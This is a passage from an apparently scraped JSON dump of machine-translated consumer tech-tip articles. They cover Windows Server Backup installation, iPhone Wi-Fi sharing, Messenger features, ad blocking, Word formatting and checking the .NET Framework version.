GUI or the WBADMIN command line tool. Click Next .\n - On the Confirm Installation Selections page, click Install .\n  - No need to restart the server after setup is complete\n2. Install Windows Server Backup using Servermanagercmd.exe Using the Servermanagercmd.exe command is an easy way, but this command may be deprecated in later versions of Windows, so don't use it too much .\n- Open a command window with advanced administrator privileges (right-click CMD and select Run as Administrator ).\n- Enter: servermanagercmd -i Backup-Features\n 3. Install Windows Server Backup using PowerShell In Windows Server 2008 R2, PowerShell is installed by default. However, to install roles with this tool, you need to import the Server Manager module.\n- Open a PowerShell window with advanced permissions (right click on PowerShell and select Run as Administrator )\n- Enter: Import-Module servermanager\n- After importing, enter: Add-WindowsFeature Backup-Features .\n ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWnnrulu9asZKydoquys3nBmpqkraBivK951qKlnaenqHq0sdGvnKtlYmV9eXnRaw%3D%3D\n","link":"/post/install-windows-server-backup-on-windows-server-2008-r2/","section":"post","tags":null,"title":"Install Windows Server Backup on Windows Server 2008 R2"},{"body":" Play WiFi on super simple computers with MyPubicWiFi Free WiFi access with Android ZiPi application Instructions to play WiFi by Laptop with Wi-Host software When you don't know the Wi-Fi network password at a friend's or coffee shop's home, you must request to save the data on your iPhone device. If the owner of a Wi-Fi hotspot can remember the password, it is fortunate, please access it in the usual way. If they don't remember, you need to use mobile data. Fortunately, the entire process has become easier with Apple's iOS 11 update .\n  Apple's new feature is called \" Share Your Wi-Fi - Your Wi-Fi Share \" and it does exactly that. If you want to connect to a friend's Wi-Fi network but no one there can remember the password, some simple clicks on someone's connected device can immediately fill the screen. \" Enter Password - Enter password \"on your device and help connect now - no one has to remember or type a password.\nDoes this sound easy and interesting? No need to write and type long, complicated passwords. No more worrying about someone forgetting to access your Wi-Fi network password. No more stupid QR PINs to solve. No more worrying about connection. All that is needed is iOS 11 or MacOS High Sierra .\nInstructions for sharing Wi-Fi passwords from your iPhone to another iOS 11 device: Request To operate, iOS 11 or MacOS High Sierra is essential on both devices and ensure that both devices turn on Wi-Fi and Bluetooth . If a device doesn't have iOS 11 or MacOS High Sierra, it won't work.\nAs long as these requirements are met, it will work whether you use an iPad, iPhone, iPod touch or Mac computer. In the case below, we use two iPhone phones as examples.\nStep 1: Select Wi-Fi network On iPhone phones need to access the Internet, open Wi-Fi settings and select the network you want to connect.\nNote : You need to select the exact network to which the other iPhone is connected. After selecting it, the \" Enter Password \" screen will appear.\n   Step 2: Open the connected device Now, iPhone has been connected to Wi-Fi network needs to be unlocked to operate. If it's your iPhone, just enter the confirmation code, use the Touch ID or Face ID to unlock it. If the iPhone is owned by others, politely ask them to do this.\nStep 3: Move the device closer to each other If nothing happens on the iPhone device, move the two devices closer together. They need to stay close to each other so that the iPhone does not connect to send a request to the connected iPhone device.\nStep 4: Send password If all goes according to plan, the hint below will appear on the connected iPhone requesting its Wi-Fi sharing. It will look like this:\nDo you want to share the Wi-Fi password for '[Network Name]' with [Contact or Device's Name]?\nDo you want to share the Wi-Fi password for '[Network Name]' with [Contact or Device's Name]?\nSimply press or click the \" Share Password \" button to send it via an unconnected iPhone.\n   The password field on the unconnected iPhone will be automatically loaded after a short period of time and the device will immediately be connected to the network. All you need to do is press \" Done \" on the reminder still on the connected device.\n   And that's all you need to do. Of course, you should not share a Wi-Fi password with someone you don't trust and should refuse permission. Although they will not see the Wi-Fi password on their device but if it is stored in Keychain, they can view it on the Mac after synchronization. In addition, this will likely not work at some business hotspots using a RADIUS server for authentication.\nRefer to some more articles:\n8 ways to speed up the old iPhone after updating to iOS 11 New features on iOS 11.2 How to fix some common errors on iOS 11 Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarmJa%2FqrrGZq6inplivaK%2F0rCmq5yjYrOzu8xmsKitomK2sbTOp5xmrJ9irq%2B706Gcq2WZpMBufZBmm56umZiy\n","link":"/post/instructions-for-sharing-wi-fi-passwords-from-your-iphone-to-another-ios-11-device/","section":"post","tags":null,"title":"Instructions for sharing Wi-Fi passwords from your iPhone to another iOS 11 device"},{"body":"USB data being pressed or lost is a problem that users often encounter. There are many causes for this and one of them is due to a virus infection. So how to show hidden files in USB, memory card as well as how to do it? The following article of Thuthuatphanmem.vn will introduce to you the software showing hidden files in USB, memory cards in a simple way. Please follow along.\nTo show hidden files in USB or computer we will use software called FixAttrb, this is a software developed by BKAV. It has a very compact download size that you can use without installation.\nFirstly, you access the following link to download the FixAttrb tool to your computer.\nDownload link: http://bb.com.vn/pro/d/FixAttrb.exe/\nYou can download by 1 of the 4 links on the site, the file size is very light only 300kb.\n  After downloading, double-clicking on the file to run the software without installing, the interface of the tool is very simple and the usage cannot be simpler.\nFirst, click the Choose folder button , then the file browse window appears, select the folder you want to show the file and click OK\n  After choosing the folder, click Show hidden files and then wait a while and a message showing the hidden files will appear successfully. Your job is to open the folder and check that the files are displayed.\n  So with just a few simple steps, we have successfully hidden files displayed with FixAttrb tool. Thank you for watching the article, wish you success.\nncG1vNJzZmismaXArq3KnmWcp51kwLCy07CYq51dqLWww9Jmn6KclJq7brLIpZysZZmjera%2FwQ%3D%3D\n","link":"/post/software-shows-hidden-files-in-usb/","section":"post","tags":null,"title":"Software shows hidden files in USB"},{"body":"When you edit Word, you often reset the font style, font size, font and color to match the content of the editor. But the spacing between lines, between paragraphs you do not pay attention to because the default spacing of Word is also quite reasonable. If the drafting content requires a line spacing, then you can adjust the line spacing accordingly.\nSpacing is very simple, but if you do not know you can see the article instructions on line spacing in Word below.\nFor quick spacing in Word, select (highlight) the paragraph or the whole text. In the Home tab, select the Line and Paragraph Spacing icons in the Paragraph section and choose a reasonable line spacing.\n  If you want to set spacing or paragraph spacing, do the following:\nStep 1: Select the paragraph to be stretched, right-click and select Paragraph .\n  Or you can choose tab Home -\u0026gt; Line and Paragraph -\u0026gt; Line Spacing Options .\n  Step 2: In the Paragraph dialog box , you can choose the line spacing in the Line spacing section .\nIf you want to set the exact distance, then choose Exactly in the Line spacing and adjust the distance at the At part . Then click OK .\n  Results after the line spacing:\n  Step 3: Set the paragraph spacing, in the Paragraph dialog box, select the distance to the paragraph above and with the paragraph below (Before and After) in the Spacing section . Then click OK so you have successfully stretched.\n  So, very simply you already know how to wrap lines and paragraphs in Word. The article above uses Word 2010, with Word 2007, Word 2013 you do the same. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLGtwqKloGWjpa6ktc2gZLCnopnAbrXNZq6oqpQ%3D\n","link":"/post/spacing-spacing-words-in-word/","section":"post","tags":null,"title":"Spacing, spacing words in Word"},{"body":"After the release of yesterday's Viber upgrade for Windows Phone users, the app continues to be updated on Windows 8.1 with support for adding Video call features.\nDownload Viber for Windows Phone Download Viber for Windows Download Viber for Android Download Viber for iOS   Details change in version 4.0: Make Video calls ( support on PC ) Viber Out Easily view all photos in conversation with swiping New emoticons Support for additional languages If you want to use Viber on Windows 8.1, you first need to install and use on Windows Phone or other mobile platforms.\nncG1vNJzZmismaXArq3KnmWcp51kw6quxKtkn6eiYsSqusOorqxlaGZ6trzDmqueq12owrG8zqurZpmUmbavs4yvoJ2dn2KworjLrA%3D%3D\n","link":"/post/viber-for-windows-8-1-updates-support-adding-video-calls/","section":"post","tags":null,"title":"Viber for Windows 8.1 updates support adding Video calls"},{"body":"A file with a .JAVA extension is (or sometimes also used in .JAV format) is a Java source file written in the Java programming language.This is a simple text file format that is fully readable in text editors and plays an essential role for the entire process of building Java applications.\nA JAVA file will be used by the Java compiler to create Java class files (.CLASS), usually binary and unreadable.If the source file contains multiple classes, each class will be compiled into its own CLASS file.\nThese CLASS files will then be converted into a Java application that can be executed with the .JAR file extension.These Java archive files make it easier to store and distribute .CLASS files and other Java application resources such as images and audio.\n  How to open a JAVA file As mentioned, JAVA files can be opened in popular code editors, please refer to our article '5 best free code editors' for more details.\nIn addition, text data in JAVA files can also be read by any text editor, such as Notepad in Windows, or TextEdit in macOS, etc.\nHowever, JAVA files are only really useful when they are compiled into CLASS byte code files, which the Java SDK program can do.The data in the CLASS file is used by Oracle's Java Virtual Machine (JVM) when the JAR file is created.\nTo edit JAVA files, you can use a program for application development, such as Eclipse or JCreator LE.Code editors like NetBeans and the tools mentioned in the article '5 best free code editors' can also help you modify JAVA files.\nHow to convert a JAVA file Because the JAVA file contains the source code for the Java application, it can also easily be converted or translated into other formats through different applications or programming languages.\nFor example, you can convert JAVA file into Kotlin file using IntelliJ IDEA software.You can use the Code menu to find the option to convert Java files to Kotlin files or go to Help\u0026gt; Find Action and start importing the task you want to perform as \"convert java file\". JAVA file under KT file format.\nAlternatively, you can use the javac command mentioned above to convert JAVA to CLASS file. If you cannot call the javac command tool from the Command Prompt, another CMD trick you can apply is to access the EXE file location as described above, then drag and drop the javac.exe file directly. Go to Command Prompt to complete the command.\nAfter the file is in CLASS format, you can basically convert from JAVA format to JAR using jar command, as described in this Java tutorial from Oracle.\nJSmooth and JexePack are two tools that can be used to convert JAVA files to EXE, thereby enabling the Java application to run as a normal executable file in Windows.\nHow can I still open a JAVA file? If you still cannot open JAVA files even though you have used the above methods, it is possible that your file is not actually in JAVA format.Some file types with a look-through extension look very similar to the .JAVA file extension, so you should also double-check the standard file extension.\nFor example, the AVA format looks a bit similar to JAVA but is used for AvaaBook e-book files and has nothing to do with JAVA files.If you are processing the AVA file, it will not work with the programs mentioned above but instead only works with AvaaPlayer software.\nJA files may also look like Java-related files, but they are actually Jet files, which are used to store compressed game files.JVS files can also be confusing, but they are essentially Autoconfig JavaScript Proxy files that web browsers use to configure proxy servers.\nSee more:\nWhat is MOV file? How to open, edit and convert MOV files What is WMV file? How to open, edit and convert WMV files What file is XSPF? How to open, edit and convert XSPF files List of some types of files that are potentially dangerous on Windows ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWalsOiecWio55lmKTEbsDOZqapnZ5isqW102aYp5xdmLyvwsSrq2aikauubrLIpZys\n","link":"/post/what-is-java-file-how-to-open-edit-and-convert-java-files/","section":"post","tags":null,"title":"What is JAVA file? How to open, edit and convert JAVA files"},{"body":"Adobe Photoshop CC has been released with many utility tools for faster and more efficient image processing. To explore new features and how to use features, please refer to the following article of Network Administration.\n  1. Adobe Photoshop CC - My Top 5 Favorite Features by Terry White Quickly learn the latest features in Photoshop CC from Terry White, who designed the Adobe system.\n2. What's New in Adobe Photoshop CC by Everyday HDR This video gives you the quickest view of the latest features on Photoshop CC. A great way to easily capture the features integrated on the new version.\n3. Photoshop CC Tutorials by Photoshop Training Channel This video is one of the great options for beginners who don't know anything about Photoshop CC. In addition to providing an overview of new features on Photoshop CC, the video also guides you through the steps to use each one.\n4. Camera RAW as a Photoshop Filter and Playlist by FocalOnline The first video in the Martin Evening video playlist shows how to use the RAW Camera as a filter. See more videos to learn more about the new CC CC features, including Camera RAW, Camera Shake Reduction and some other cameras .\n5. Camera RAW Retouching Improvements by PSDTuts + This video not only shows you how to use RAW Camera as a filter but also guides you many other features, and how to use Spot Removal as a Paintbrush tool and Visualize Spots.\n6. Smart Sharpen Improvements in Photoshop CC by PSDTuts + Learn how to use the Smart Sharpen tool to clear images and eliminate unwanted effects and noise.\n7. Camera RAW Filter for Skin Smoothing by Whole Cloth Productions Learn the benefits of using the RAW Filter Camera to smooth skin on Photoshop CC, and step by step instructions.\n8. Camera Shake Reduction by PSDTuts + One of the great videos that teaches users how to best use Camera Shake Reduction feature in Photoshop CC.\nRefer to some of the following articles:  Tutorial to create a sparkling snow effect using Photoshop Brush   Tutorial for creating 3D photo effects in Photoshop (Part 3)   Tutorial for creating 3D photo effects in Photoshop (Part 2)   Tutorial for creating 3D photo effects in Photoshop (Part 1)  Wish you have moments of fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnd51aKbnqejYrOwvoynnLBllJ7ApLvVnqminaNivK95z6GmraejnbyxecKcZKmZoql6cg%3D%3D\n","link":"/post/16-videos-for-new-discoveries-on-photoshop-cc-part-1/","section":"post","tags":null,"title":"16 videos for new discoveries on Photoshop CC (Part 1)"},{"body":"Weareseventeen, a London-based graphic company, produced a short animated film called \" Mr Selfie \". They shared their videos on Vimeo with the caption ' Mr. Selfie is the story of a common phenomenon in this modern society . '\nThrough the video we seem to see a part of ourselves in it, the man was too engrossed in the things on the smartphone screen, the buttons like the soulless but forget his daily life like communicating with people , pay attention to the dangers along the way or enjoy the beauty of life. Then at the end of the day before going to bed, he still didn't forget to write a boring question on the social network. Smartphone is created to serve human life, so the above video is a wake-up call for those who have been and are slaves of smartphones.\nncG1vNJzZmismaXArq3KnmWcp51ksbC602akmqOVYsawwdGsnKWeXZZ6tLnAq6upoJ%2Bjsm6%2Fy5qtng%3D%3D\n","link":"/post/don-t-make-yourself-a-smartphone-slave/","section":"post","tags":null,"title":"Don't make yourself a smartphone slave"},{"body":"Messenger has a lot of hidden features you need to know, capture these 15 hidden features to become a smart user and make your friends admire.\nAlong with Zalo , Skype , Viber , ccTalk and some other free messaging apps, Facebook Messenger is increasingly being used by many people. Not only the usual features but some other good features will also make you \"go from surprise to surprise\". Follow the great features of Facebook Messenger! Extremely cool features on Facebook Messenger 1. Call the car You can even call cars via Messenger.All you need to do is click on the car's icon in the chat menu.From there you can choose a trip by Uber or Lyft.If you want a friend to pick you up, clickthe location iconand you can send a friend a map marked with your exact location.\n2. Create private chatbot You probably already know that you can talk to achatbot Facebook , but you can also create your own chatbot, or something like that. Log in to your Facebook page, go to Settings and select Messaging . Then, go to the Response Assitant section and select Send Instant Replies to anyone who messages your Page.Here you can set up what your bot will tell people when they send you a message, via Messenger or on Facebook.\n3. Share the song Sometimes words can't express your feelings, so send a friend a song.Click the. button (the dot icon) on the right side of the menu when you are chatting, install the Spotify app and sign in with your Facebook account. Then click on the . button in chat again and click on the Spotify option . Search for the song you want to share, click on it and press the Sendbutton.\n  4. Create shortcuts Every time you want to chat with your friends, you go to Facebook Messenger again and look in the long list of people you want to chat with, so hard.Well there is a way to help you that is to create a shortcut in your chat.Access the main menu and hold your finger on your friends' photos.A menu will appear.SelectCreate shortcutfrom the menu.The icon will be added to the device's main screen so you can start the conversation with your friends without opening Messenger.\n5. Send heart-shaped emoticons, balloons or snowflakes When you send someone for a heart-shaped emoticon in Messenger on iOS, it will appear heart rain.If you send a snowflake, on the screen is a snow shower.And if you send a balloon, a balloon will fly up from below the screen.Unfortunately, it does not work with Messenger for Windows or Android.\n6. Create a short video Instead of sending photos, send a video.Just hold down the capture button and it will switch to video recording mode, recording whatever your camera is aiming for.When done, hold down the shutter button and touch theSendbutton.Your video has a maximum duration of 15 seconds.\n  7. Change the like button If the thumb icon is not your style, you can change the like button to whatever you want.Visit the chat section, select the Contact section with your friend. Below you will see the options, select Emoji.A menu will pop up with a variety of emoticons you can use instead of standard emoticons.You can change emoticons in each chat to express your different emotions.\n  8. Enlarge emoji emoticon If you want to show the level of emotion through emoji icons like laughing or laughing with the small size of the icon, there is a way to help you.In the Messenger app, select an emoticon and hold it until it reaches the size you want, lift your finger and the emoji will be sent.\n9. Play football on Messenger If you want to play football with your friends in Messenger, simply send the soccer logo to your friend.After sending, touch the icon and start playing.The goal of the game is to keep the ball from falling to the screen.It sounds easy but it's much harder than you think.\nBuild your Euro 2016 ball with Facebook Messenger 10. Play basketball on Messenger Just like the football game above, find emoji with a basketball image and send it to your friend.If you are good at Pokemon Go, then this game will not be difficult for you.The goal is to throw the ball into the basket.To end the game you just need to press theBackbutton.\n  11. Play chess on Messenger You can also play chess with Messenger.Enter@fbchess playand send.A chess game will pop up and you can play with friends.See the article How to simply play chess on Facebook Messenger for detailed instructions.\n  12. Share Messenger code Your Messenger has its own QR code that you can share with others.Your friend can use this code to add you to their contact list.Similarly you can add your friend's code to your list.\nClick on your profile icon on the top right of the Messenger page.Then touch your photo.The application will give you the option to scan someone else's code or share your code.To scan someone's code, tapScan Codeand hold your phone camera on your phone until you receive the QR Code.Note the need to share the code while you perform code scanning.\n13. Automatically save photos If you want to automatically save photos to your device's library whenever someone sends you a photo, you can do so by clicking on the profile icon in the top right of the Messenger on the page use.Then, touchPhotos \u0026amp; Media and turn on the Save Photosbutton.All photos sent to you via Messenger will be saved in the device's library.\n14. Block receiving unwanted messages Someone tricked you, but you don't want to block them?If you are not their friend, go to the conversation and selectManage at the top of the screen. Then, from the Manage Messagesmenu, move the sliding tab to the left and you will stop receiving messages from that person.\nIf you are in a chat group but do not want to join the conversation, you can turn it off so that your phone receives a notification message.You can go to the chat on the control panel and hold your finger down the conversation and selectMute Notificationsfrom the menu.\n15. Secret chat Messenger now has end-to-end encryption to keep your conversations secret.These conversations are called secret conversations.\n  17. Customize the color of conversations, icons and nicknames for others   To easily distinguish important conversations or relatives, change the color to the conversation. To experience, click on the conversation's name, and Colors, Emoji or Nickname options to change the color, change the icon and change the nickname for the people in the conversation.\n18. Change nickname for friends For those who have parents or lovers who want to change the nickname for this person to be so cute, you can access the contact, then select a nickname to change. So these friends have their own nicknames that are not afraid of confusion.\n19. Attach photos, videos, . without leaving the chat frame   Just above the message writing line is a row of icons that allow the use of other optional features. In it, you can select the camera icon to take a photo immediately and send it to the other person. Or you can send an existing photo in the library with the picture icon next to it, select the image and press the \"Send\" button.\n20. Use Facebook Messenger without registering Facebook   If you do not want to register for a Facebook account, or do not want to link to an existing account, you can still use Messenger as usual. To use this mode, when logging in, select the \"Not on Facebook?\" Button. and sign up for a Messenger account with your phone number.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksrnA0Z6knqSpYrCwu8tmnZ6ZpKq%2Fpr%2BMqKVmnpGYsqO7zqRkpp2jqLKvs8SrZKmZoql6cw%3D%3D\n","link":"/post/extremely-cool-features-on-facebook-messenger-part-2/","section":"post","tags":null,"title":"Extremely cool features on Facebook Messenger (Part 2)"},{"body":"The protests in support of the Black Lives Matter movement have brought to the forefront the way that videos and livestreams of interactions with police officers\u0026nbsp;can form public opinion. As videos depicting police brutality are captured on\u0026nbsp;smartphones\u0026nbsp;and\u0026nbsp;shared on social media, another consideration comes into focus.\u0026nbsp;\nWhat if you don't have the time or forethought to pick up your phone, text someone to let them know where you are and what's happening or begin recording a video?\u0026nbsp;\n If you have an iPhone, however, it's possible to use Apple's Shortcuts app and a shortcut created by Reddit user RobertAPeterson to send a message with your location to a friend or family member and automatically begin recording a video with nothing more than a simple command, \"Hey Siri, I'm getting pulled over.\"\u0026nbsp;\nSetting it up is simple and only takes a couple of minutes.\u0026nbsp;\nInstall Shortcuts and change this important setting The first thing you'll need to do before you can set up the \"I'm getting pulled over\" Shortcut is to install Apple's Shortcuts app. This is a useful app to have on hand anyway, with its ability to handle routines and tasks like starting Do Not Disturb on a timer or act as a spelling checker for long pieces of text -- plus so much more.\nBefore you can add a Shortcut you find outside of Apple's own gallery, you need to allow third-party Shortcuts that haven't been vetted by Apple to be added to your phone. To do that, open your iPhone's Settings app, then tap on Shortcuts and slide the switch next to Allow Untrusted Shortcuts to the On position.\u0026nbsp;\nWhenever you're installing Shortcuts created by a third-party, it's important to scroll through the steps and look at what they do. If there's something you don't understand or feel comfortable with, don't add the shortcut.\u0026nbsp;\n  Add the Shortcut and get it set up With Shortcuts installed, you'll need to add the \"I'm getting pulled over\" Shortcut. Click on this iCloud Shortcut link on your iPhone; right now there isn't a way to add a Shortcut from your Mac or PC to your phone.\u0026nbsp;\nWhen you open the link on your iPhone, it should launch the Shortcuts app, showing you every step included in the Shortcut, and ask if you want to add it to your Gallery. Scroll to the bottom of the page and tap on the red Add Untrusted Shortcut button.\u0026nbsp;\nNext, you'll be asked to pick any contacts you want the Shortcut to send your location as soon as it's triggered, as well as a copy of the video that will be recorded. You can skip either step if you'd prefer.\u0026nbsp;\nAfter going through the initial setup process I recommend running the Shortcut as a test. You can tap on the card that's added to the Shortcuts app, or trigger Siri and say \"I'm getting pulled over.\" Running it now, in a stress-free situation, will allow you to grant all of its permission requests and get the general idea of how it works.\u0026nbsp;\n  What happens when you run the Shortcut? In the future, if you're getting pulled over or want to trigger the Shortcut, you'll need to unlock your iPhone, then summon Siri by holding in the side button on an iPhone with Face ID, or by holding in the home button if your iPhone has one and saying \"I'm getting pulled over.\"\nThe Shortcut will then pause your music, turn down the volume, dim your screen, turn on Do Not Disturb, and automatically send a message with your location the contacts you entered during setup. The front-facing camera will then open and automatically begin recording.\u0026nbsp;\n  Due to limitations in iOS, you'll need to interact with your phone in order to send the video in a message. Stop recording by pressing the volume-up button on your phone, or tapping the stop button on your screen. Next, tap Use Video which will create a message addressed to the contacts you added during setup, then tap Send.\nFinally, you'll be asked if you want to upload the video to iCloud Drive, Dropbox or do not upload.\u0026nbsp;\nTipsMake\u0026nbsp;recommends complying with local laws. If you join a protest, make sure you know your legal rights before going out on the streets. If you're worried about tear gas, this is what you should know. The CDC's new guidelines for large gatherings includes wearing a face mask to help protect against the spread of the coronavirus, which has now topped 8 million cases worldwide.\nncG1vNJzZmismaXArq3KnmWcp51ktabFjKygq6Fdnrpus8Stq6Kml2K9trjLnptmp6aav260zrBksqelp3qqvMeopZ5lk5a7bq3UraZmqpWYvLOwjLKmrqpdpbyttcKeZJ6mk6TCr8DEqw%3D%3D\n","link":"/post/hey-siri-i-m-getting-pulled-over-how-your-iphone-can-auto-record-your-police-encounter/","section":"post","tags":null,"title":"Hey, Siri, I'm getting pulled over. How your iPhone can auto record your police encounter"},{"body":"Surely every time you visit a website, you will always feel very annoying with the ads that are \"in the middle\" of the screen or a series of pop ups that pop up if you accidentally click on them. there. Let's TipsMake.com solve \"definitely\" this problem offline.\nHow to speed up the operation of Chrome and Firefox? How to fix SSL connection errors on Chrome and Firefox How to take photos of websites on Chrome and Firefox How to block ads when surfing the web Block ads on the browser with extension 1. Block ads on Google Chrome 2. Block ads on Firefox 3. Block ads on Microsoft Edge 4. Block ads on Safari 5. Block ads on iPhone  Clear history, turn off browser cookies Anonymous access Block ads on the browser with extension 1. Block ads on Google Chrome You install Adblock for Chrome by clicking Add To Chrome:\nLink to download Adblock Plus for Chrome browser.   In addition to blocking normal ads, AdBlock also blocks some other things like malware , removing buttons of Social media or Disable tracking . However, if you don't like to block them, you can press Off.\n  After adding successfully, AdBlock will automatically remove all ads, pop-ups that are available on the website you visit without complicated tweaking.\n2. Block ads on Firefox Similar to Chrome, you also install AdBlock for Firefox, click Add to Firefox:\nLink to download Adblock Plus for Firefox.   \nWhen the installation is completed, you turn off Firefox and reboot, the footer will appear AdBlock icon\n  \nFrom now on, AdBlock Plus will automatically detect pop-ups and conduct blocking.\n3. Block ads on Microsoft Edge Click on the Windows icon in the lower left corner of the screen to open Start, then type store to search the Store application.\n  Click Store , it looks like a bag at the top of the Start window to open it. Search for AdBlock extension by clicking on the search bar at the top right of the window, then typing adblock .\n  Click AdBlock , it has a stop icon with hands on it to open the AdBlock page. Click the Get button to download the application to your computer. If you've already downloaded Adblock, this button will be Install .\n  Click the Launch button (this button appears instead of the Get button when AdBlock finishes loading).\n  Select Microsoft Edge when the window pops up, then click OK at the bottom of the window. If Microsoft Edge opens without notice, skip this step. Then click Turn it on when prompted.\n  Right-click the Adlock icon on the upper right of the Edge window to open the drop-down menu. Click Manage in the drop-down menu to open the AdBlock add-on page.\n  Click Options to open the AdBlock Options page.\n  Uncheck \" Allow some non-intrusive advertising \" to remove ads from AdBlock's whitelist.\n  Click the FILTER LISTS tab at the top of the page.\n  Uncheck \" Acceptable Ads \". Depending on the version of AdBlock you use, this option may have been unchecked. You can choose some other options in Filter Lists but choosing too many options is not effective, otherwise slowing down the browsing speed.\n  4. Block ads on Safari Open Safari, access the AdGuard extension page. Although AdGuard is a paid service, its browser extension is free to use on Safari.\n  Click DOWNLOAD in the upper left corner of the browser window to start downloading the extension to your Mac.\n  Click the Download icon arrow in the upper right corner of the Safari page, then double-click the extension name.\n  Select Agree to accept the agreement to install this extension.\n  Wait for AdGuard to install in Safari. You need to make some instructions on the screen to install. When AdGuard is installed, you do not need to change any settings at all. But if you want to change AdGuard settings, click Safari\u0026gt; Preference\u0026gt; Extensions and click on AdGuard on the left hand of the page, then edit the settings on the main page.\n5. Block ads on iPhone Open the App Store and search for AdGuard and touch Get to download to your phone.\n  Open the Settings app, scroll down and touch Safari .\n  Touch Content Blockers.\n  Click on the \" AdGuard \" switch to turn green. The iPhone's Safari browser will use AdGuard's filter to hide ads when you browse the web.\n  Clear history, turn off browser cookies Delete any trace that shows your previous searches like history, browsing data, cache and cookies. Next, disable or limit widget tracking, including favorite services like Facebook. Also, make sure you delete the third-party advertising cookies. Then, take some time and check your browser with the online privacy and security tester.\nHow to delete browsing history on Chrome 59 and Firefox View and delete browsing history in Microsoft Edge browser Anonymous access Most popular browsers like Chrome, Edge, Firefox, Internet Explorer, Safari and Opera have private or anonymous browsing features. Enabling this feature means your browser will ignore cookies, including ad tracking cookies. Your computer will not record your browsing history, almost like you have never online.\nWhen your browser is in private browsing mode, it displays a special icon. In Firefox, it's a mask; in Chrome, it's a little spy; and in Edge is \"InPrivate\".\nAlthough advertising causes you distractions, content creators receive revenue from it to provide you with free online content. So if you see some ads you are contributing to content developers to continue to provide meaningful, interesting content for readers.\nSee more:\nHow to block ads on Android without rooting the device Guide 3 ways to block ads on YouTube videos 15 ways to block ads and Pop-Ups ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCdqmavmJq7br%2FUq52ippdiwamxjLCcmw%3D%3D\n","link":"/post/how-to-block-ads-when-surfing-the-web/","section":"post","tags":null,"title":"How to block ads when surfing the web"},{"body":"Currently Facebook Messenger is being used by a lot of people, to change the monotony of Messenger, you can change the color of messages in Messenger. If you do not know how to change the color, please refer to the article below to know how to change the color of messages in Messenger.\n  Below the article shared to you how to change the color of the message in Messenger, invite you to follow along.\nWith the color change feature of Messenger, you can choose different colors for conversations on Messenger. When you select a color for the conversation, the text box will be set to that color in Messenger, on messenger.com, and in Facebook messages.\nNote: you can only change the color of the message from the Messenger app on your phone or on the web https://www.messenger.com/ on your computer.\nMethod 1: Change the color of messages in Messenger on your phone Step 1 : If your phone has not downloaded the Messenger app or has updated the latest version of Messenger, you can download it using the link below.\nDownload Facebook Messenger for iPhone: https://itunes.apple.com/en/app/messenger/id454638411?l=en\u0026amp;mt=8 Download Facebook Messenger for Android: https://play.google.com/store/apps/details?id=com.facebook.orca\u0026amp;hl=en Download Facebook Messenger for Windows Phone: https://www.microsoft.com/en-us/p/messenger/9wzdncrf0083?activetab=pivot:overviewtab Step 2 : Open the Facebook Messenger application, and select the conversation you want to change colors.\n  Step 3 : If you use iOS (iPhone, iPad), then touch that user's name at the top.\n  If using Android, then you select the symbol 'i' on the top right.\n  Step 4: To change color, choose Color.\n  Step 5: Appear the color palette you choose the color you want to change for the conversation.\n  So you changed the color for a successful conversation.\n  Method 2: Change the color of messages on web messenger.com Step 1 : You access the website https://www.messenger.com/, next you open the conversation you want to change the color.\n  Step 2 : On the right side of the screen, select Change colors.\n  Step 3: Choose the color you want to change for the selected conversation.\n  Immediately your conversation will be changed to the color you choose and will notice You have changed the conversation color in the message frame.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lk6S5sL6MqJ1mpZWowKKzxKxkoqZdorK0v8Snnp6q\n","link":"/post/how-to-change-the-color-of-messages-in-messenger/","section":"post","tags":null,"title":"How to change the color of messages in Messenger"},{"body":"1. Check .NET Framework version on Windows 10 with PowerShell PowerShell provides a lot of features through code and that includes checking the version of a lot of different software. To check the version of the .NET Framework on Windows 10 you will have to do the following:\nStep 1: Open MenuStart and search for PowerShell software to open on your computer.\n  Step 2: Then, copy the following command to paste it into PowerShell software and start the command with Enter.\nGet-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where { $_.PSChildName -Match '^(?!S)p{L}'} | Select PSChildName, version   Step 3: When the command runs successfully, you will get a lot of different information. In this case we will observe the Full item because this is the version of the .NET Framework installed on the computer.\n  2. Check .NET Framework version on Windows 10 with RUN Using the commands in RUN also helps you to see the .NET Framework version on Windows 10 in the most efficient and accurate way. To see the version of .NET Framework on Windows 10 you just need to do a few steps as follows:\nStep 1: Open the MenuStart window and enter RUN (Windows + R) to open the Run software on your computer.\n  Step 2: When the RUN window is open, copy the link below and paste it in the window to open them. This path will help you open the storage folder of the .NET Framework on your computer.\nC:WindowsMicrosoft.NETFramework   Step 3: In the FrameWork installation folder, you will have a lot of different folders and choose to open the last folder to track the version on the system.\n  Step 4: In the folder we just opened, you will find an entry with the name Accessibility.dll and right-click and select Properties.\n  Step 5: In the Accessibility Properties window, just select the Details tab and follow the Product Version item to know the version of .Net Framework you are using on your computer.\n  In this article, Tipsmake has shown you how to check the .NET Framework version on Windows 10 in the most detail. Good luck!\nNET Framework ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsec2eq2aeopa6psPOq6JmrpWnwKq7zWamp2Wnnrulu9asZGpo\n","link":"/post/how-to-check-net-framework-version-on-windows-10/","section":"post","tags":null,"title":"How to check .NET Framework version on Windows 10"},{"body":" Whether you're a solo artist or in a band, one of the best ways to get your music out there is to get it played on the radio. Even if you start small at a local radio station, it can lead to national exposure. Sending in your songs can...\nPart 1of 3:\nGetting Your Submission Ready  Prepare your music for distribution. Depending on where you're submitting, you will need to be able to send in your music on a physical CD or electronically through a digital format such as MP3. For CD distribution, you usually don't need fancy packaging or elaborate press kits. In fact, many radio stations will request that you not send in materials like this. Some musicians insist that a plain silver CD-R with your name and the song title, accompanied by a track listing in a clear plastic case, is all you need. Whatever packaging you choose, make sure all your information is clear, complete, concise, and correct. You don't want a music director to fall in love with your song only to be unable to figure out who it belongs to!   Make your music easily shareable online. Some radio stations may accept email attachments, but more often if they accept electronic submissions they will want a link to an online source for your music. You have many options for digital distribution. If you want your music more publicly available, you can use services such as 